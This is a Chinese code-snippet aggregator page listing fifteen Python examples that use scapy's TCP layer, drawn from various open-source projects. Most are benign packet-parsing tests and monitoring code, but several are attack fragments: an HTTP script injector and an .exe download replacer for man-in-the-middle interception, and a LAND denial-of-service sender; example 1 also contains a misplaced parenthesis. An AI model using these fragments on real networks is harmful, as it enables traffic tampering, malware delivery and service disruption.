当前位置: 首页>>代码示例>>Python>>正文


Python all.TCP属性代码示例

本文整理汇总了Python中scapy.all.TCP属性的典型用法代码示例。如果您正苦于以下问题:Python all.TCP属性的具体用法?Python all.TCP怎么用?Python all.TCP使用的例子?那么, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在scapy.all的用法示例。


在下文中一共展示了all.TCP属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: get_syn_and_ack_numbers

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def get_syn_and_ack_numbers(request):
    global src_ip_address
    global response_sequence_number
    global response_acknowledgement_number
    global response_timestamp
    global response_payload_len

    if request.haslayer(TCP):
        response_sequence_number = request[TCP].seq
        response_acknowledgement_number = request[TCP].ack
        response_timestamp = request[TCP].time
        response_payload_len += len(request[TCP].payload)

        print(Base.c_success + "Response seq: " + str(response_sequence_number) + " ack: " + \)
              str(response_acknowledgement_number) + " timestamp: " + str(response_timestamp) + " len: " + \
              str(len(request[TCP].payload)) 
开发者ID:raw-packet,项目名称:raw-packet,代码行数:18,代码来源:send_tcp_packets.py

示例2: test_single_tcp_packet

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def test_single_tcp_packet():

    packets = [
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / TCP(sport=80, dport=5355)
    ]

    events = list(packets_to_datasource_events(packets).events())
    assert len(events) == 1

    assert events[0]["src_mac"] == "ab:ab:ab:ab:ab:ab"
    assert events[0]["dst_mac"] == "12:12:12:12:12:12"
    assert events[0]["src_ip"] == "127.0.0.1"
    assert events[0]["dst_ip"] == "192.168.1.1"
    assert events[0]["sport"] == 80
    assert events[0]["dport"] == 5355
    assert events[0]["event_type"] == "TCP" 
开发者ID:yampelo,项目名称:beagle,代码行数:20,代码来源:test_pcap.py

示例3: test_single_http_packet

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def test_single_http_packet():

    packets = [
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / TCP(sport=12345, dport=80)
        / HTTP()
        / HTTPRequest(Method="GET", Path="/foo", Host="https://google.com")
    ]

    events = list(packets_to_datasource_events(packets).events())
    assert len(events) == 1

    assert events[0]["src_mac"] == "ab:ab:ab:ab:ab:ab"
    assert events[0]["dst_mac"] == "12:12:12:12:12:12"
    assert events[0]["src_ip"] == "127.0.0.1"
    assert events[0]["dst_ip"] == "192.168.1.1"
    assert events[0]["sport"] == 12345
    assert events[0]["dport"] == 80
    assert events[0]["http_method"] == "GET"
    assert events[0]["uri"] == "/foo"
    assert events[0]["http_dest"] == "https://google.com"

    assert events[0]["event_type"] == "HTTPRequest" 
开发者ID:yampelo,项目名称:beagle,代码行数:26,代码来源:test_pcap.py

示例4: test_multiple_packets

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def test_multiple_packets():
    packets = [
        # HTTP Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / TCP(sport=12345, dport=80)
        / HTTP()
        / HTTPRequest(Method="GET", Path="/foo", Host="https://google.com"),
        # DNS Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / UDP(sport=80, dport=53)
        / DNS(rd=1, qd=DNSQR(qtype="A", qname="google.com"), an=DNSRR(rdata="123.0.0.1")),
        # TCP Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / TCP(sport=80, dport=5355),
    ]

    events = list(packets_to_datasource_events(packets).events())
    assert len(events) == 3

    assert [e["event_type"] for e in events] == ["HTTPRequest", "DNS", "TCP"] 
开发者ID:yampelo,项目名称:beagle,代码行数:25,代码来源:test_pcap.py

示例5: __init__

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def __init__(self, client_ip = "", server_ip = "", client_port = 0, server_port = 0, protocol = "TCP", interface = ""):
		self.client_ip 		= client_ip
		self.server_ip 		= server_ip
		self.client_port 	= client_port
		self.server_port 	= server_port
		self.protocol 		= protocol.lower()
		self.interface 		= interface

	# This returns just the source address & port in a string format
	# so that it can be hashed and tied back to the connectionManager.
	# The protocol, source address, and port are the only shared pieces of information
	# that both the MiTMModule socket and nfqueue intercept have access to, so
	# nfqueue hashes this info together and uses that hash as the key in the 
	# connectionMnaager. Once the MiTMModule recieves the intercepted connection,
	# it will hash the proto/source ip/port to pull back the whole Connection
	# object from the connectionManager - and thus - have the destination ip and port
	# to then behave like a fully transparent TCP/UDP MiTM server. 
开发者ID:quickbreach,项目名称:SMBetray,代码行数:19,代码来源:ebcLib.py

示例6: _process_syn_scan

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def _process_syn_scan(self, pkt):
        """
        Receives SYN scan response from devices.

        """
        src_mac = pkt[sc.Ether].src
        device_id = utils.get_device_id(src_mac, self._host_state)
        device_port = pkt[sc.TCP].sport

        with self._host_state.lock:
            port_list = self._host_state.pending_syn_scan_dict.setdefault(device_id, [])
            if device_port not in port_list:
                port_list.append(device_port)
                utils.log('[SYN Scan Debug] Device {} ({}): Port {}'.format(
                    pkt[sc.IP].src, device_id, device_port
                )) 
开发者ID:noise-lab,项目名称:iot-inspector-client,代码行数:18,代码来源:packet_processor.py

示例7: _process_http_host

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def _process_http_host(self, pkt, device_id, remote_ip):

        try:
            http_host = pkt[http.HTTPRequest].fields['Host'].decode('utf-8')
        except Exception as e:
            return
        
        device_port = pkt[sc.TCP].sport

        with self._host_state.lock:
            self._host_state \
                .pending_dns_dict \
                .setdefault(
                    (device_id, http_host, 'http-host', device_port), set()) \
                .add(remote_ip)

        utils.log('[UPLOAD] HTTP host:', http_host) 
开发者ID:noise-lab,项目名称:iot-inspector-client,代码行数:19,代码来源:packet_processor.py

示例8: inject_code

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def inject_code(packet):
    http_packet = scapy.IP(packet.get_payload())
    if http_packet.haslayer(scapy.Raw):
        load = http_packet[scapy.Raw].load
        if http_packet[scapy.TCP].dport == 10000:
            load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
            load = load.replace("HTTP/1.1", "HTTP/1.0")
        elif http_packet[scapy.TCP].sport == 10000:
            injection_code = """<script>alert('Hello from devopslife.xyz');
                                </script>"""
            load = load.replace("</body>", injection_code + "</body>")
            length_search = re.search("(?:Content-Length:\s)(\d*)", load)
            if length_search and "text/html" in load:
                length = length_search.group(1)
                new_length = int(length) + len(injection_code)
                load = load.replace(length, str(new_length))

        if load != http_packet[scapy.Raw].load:
            new_packet = change_payload(http_packet, load)
            packet.set_payload(str(new_packet))
    packet.accept() 
开发者ID:mpostument,项目名称:hacking_tools,代码行数:23,代码来源:code_injector.py

示例9: replace_file

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def replace_file(packet):
    options = get_arguments()
    parsed_url = urlparse(options.url)
    http_packet = scapy.IP(packet.get_payload())
    if http_packet.haslayer(scapy.Raw):
        if http_packet[scapy.TCP].dport == 10000:
            if ".exe" in http_packet[scapy.Raw].load and \
               parsed_url.netloc not in http_packet[scapy.Raw].load:
                print("[+] exe requested")
                ack_list.append(http_packet[scapy.TCP].ack)
        elif http_packet[scapy.TCP].sport == 10000:
            if http_packet[scapy.TCP].seq in ack_list:
                ack_list.remove(http_packet[scapy.TCP].seq)
                print("Replacing file")
                hacked_packet = change_payload(http_packet, options.url)
                packet.set_payload(str(hacked_packet))
    packet.accept() 
开发者ID:mpostument,项目名称:hacking_tools,代码行数:19,代码来源:file_interceptor.py

示例10: sr1_file

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def sr1_file(test_params, test_filename, display_packet=False):
    """Read test message from given file, sends this message to server and parses response."""
    with open(test_filename, "rb") as file_handle:
        test_packet = file_handle.read()
    if display_packet:
        # print("Protocol: {}".format(proto_mapping(test_params.protocol)))
        try:
            if test_params.protocol in PROTOCOL_TESTERS:
                out_packet = PROTOCOL_TESTERS[test_params.protocol].request_parser(
                    test_packet
                )
            out_packet.show()
            print_verbose(test_params, 60 * "-")
        except (TypeError, struct.error, RuntimeError, ValueError, Scapy_Exception):
            pass
    test_result = None
    if test_params.protocol in [Protocol.SSDP]:
        test_result = ssdp_send_query(test_params, test_packet)
    elif test_params.protocol in protocols_using(UDP):
        test_result = udp_sr1(test_params, test_packet)
    elif test_params.protocol in protocols_using(TCP):
        test_result = tcp_sr1(test_params, test_packet)
    return test_result 
开发者ID:Samsung,项目名称:cotopaxi,代码行数:25,代码来源:cotopaxi_tester.py

示例11: proto_mapping_request

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def proto_mapping_request(protocol):
    """Provide mapping of enum values to implementation classes."""
    return {
        Protocol.ALL: IP,
        Protocol.UDP: UDP,
        Protocol.TCP: TCP,
        Protocol.CoAP: CoAP,
        Protocol.mDNS: DNS,
        Protocol.MQTT: MQTT,
        Protocol.DTLS: DTLS,
        Protocol.QUIC: UDP,
        Protocol.RTSP: HTTPRequest,
        Protocol.SSDP: HTTPRequest,
        Protocol.HTCPCP: HTTPRequest,
        Protocol.HTTP: HTTPRequest,
    }[protocol] 
开发者ID:Samsung,项目名称:cotopaxi,代码行数:18,代码来源:common_utils.py

示例12: visit_packet

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def visit_packet(self, time, packet):
        if (IP not in packet and IPv6 not in packet) or TCP not in packet:
            return

        iph = packet[IP] if IP in packet else packet[IPv6]
        tcph = packet[TCP]

        if iph.src == self._rcv_ip:
            return

        port = tcph.sport
        if port not in self._packet_size:
            return

        # TODO(arjunroy) IPv4 = total len, IPv6 = payload len. Is it important?
        packet_len = packet.len if IP in packet else packet.plen
        sizes = self._packet_size[port]
        if packet_len in sizes:
            sizes[packet_len] += 1
        else:
            sizes[packet_len] = 1 
开发者ID:google,项目名称:transperf,代码行数:23,代码来源:metric.py

示例13: pkt_callback

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def pkt_callback(self, pkt):
        """
        Proccess HTTP packets (direct)
        """
        if pkt[IP].id >= 200 and pkt[IP].id < 300:
            self.pktlen = pkt[IP].id - 200
        elif pkt[IP].id >= 300 and pkt[IP].id < 400:
            self.pkttotal = pkt[IP].id - 300
        elif pkt[IP].id >= 500 and pkt[IP].id < 600:
            self.dic[pkt[IP].id - 500] = '{:04x}'.format(pkt[TCP].window)
        elif pkt[IP].id == 666:
            print(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime())
                  + 'HTTP:' + pkt[IP].src + ':ALARM Case Open!')

        if len(self.dic) == self.pkttotal:
            odic = collections.OrderedDict(sorted(self.dic.items()))
            final = ''
            for value in odic.iteritems():
                final = final + value[1]
            text = decrypt(final[:self.pktlen])
            text = text.strip()
            hexip = text.split(',')[-1]
            text = text.replace(hexip, hextoip(hexip))
            text = 'HTTP:' + pkt[IP].src + ':' + text
            printer(self.filed, text)
            self.dic = {}
            self.pkttotal = 200 
开发者ID:ekiojp,项目名称:circo,代码行数:29,代码来源:carpa.py

示例14: launch

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def launch(self):
        send(IP(src=self.get_value("target"), dst=self.get_value("target"))/TCP(sport=self.get_value("port"), dport=self.get_value("port")), count=self.get_value("size")) 
开发者ID:ecthros,项目名称:pina-colada,代码行数:4,代码来源:land.py

示例15: sniff

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import TCP [as 别名]
def sniff(self, target=None, iface=None):
        def _process(pkt):
            match_ip = pkt.haslayer(IP) and (pkt[IP].src == target[0] or pkt[IP].dst == target[0]) if target else True
            match_port = pkt.haslayer(TCP) and (
                pkt[TCP].sport == target[1] or pkt[TCP].dport == target[1]) if len(target) == 2 else True
            if match_ip and match_port:
                self.capabilities.insert(pkt, client=False)
                events = self.capabilities.get_events()         # misuse get_events :/
                if events:
                    strconn = {'src': None,
                               'dst': None,
                               'sport': None,
                               'dport': None}

                    if pkt.haslayer(IP):
                        strconn['src'] = pkt[IP].src
                        strconn['dst'] = pkt[IP].dst
                    if pkt.haslayer(TCP):
                        strconn['sport'] = pkt[TCP].sport
                        strconn['dport'] = pkt[TCP].dport

                    print ("Connection: %(src)s:%(sport)d <==> %(dst)s:%(dport)d" % strconn)
                    print ("* EVENT - " + "\n* EVENT - ".join(e[0] for e in events))
            return
        if iface:
            conf.iface = iface
        while True:
            bpf = None
            if len(target):
                bpf = "host %s" % target[0]
            if len(target) == 2:
                bpf += " and tcp port %d" % target[1]
            sniff(filter=bpf,
                  prn=_process,
                  store=0,
                  timeout=3) 
开发者ID:tintinweb,项目名称:scapy-ssl_tls,代码行数:38,代码来源:security_scanner.py


注:本文中的scapy.all.TCP属性示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。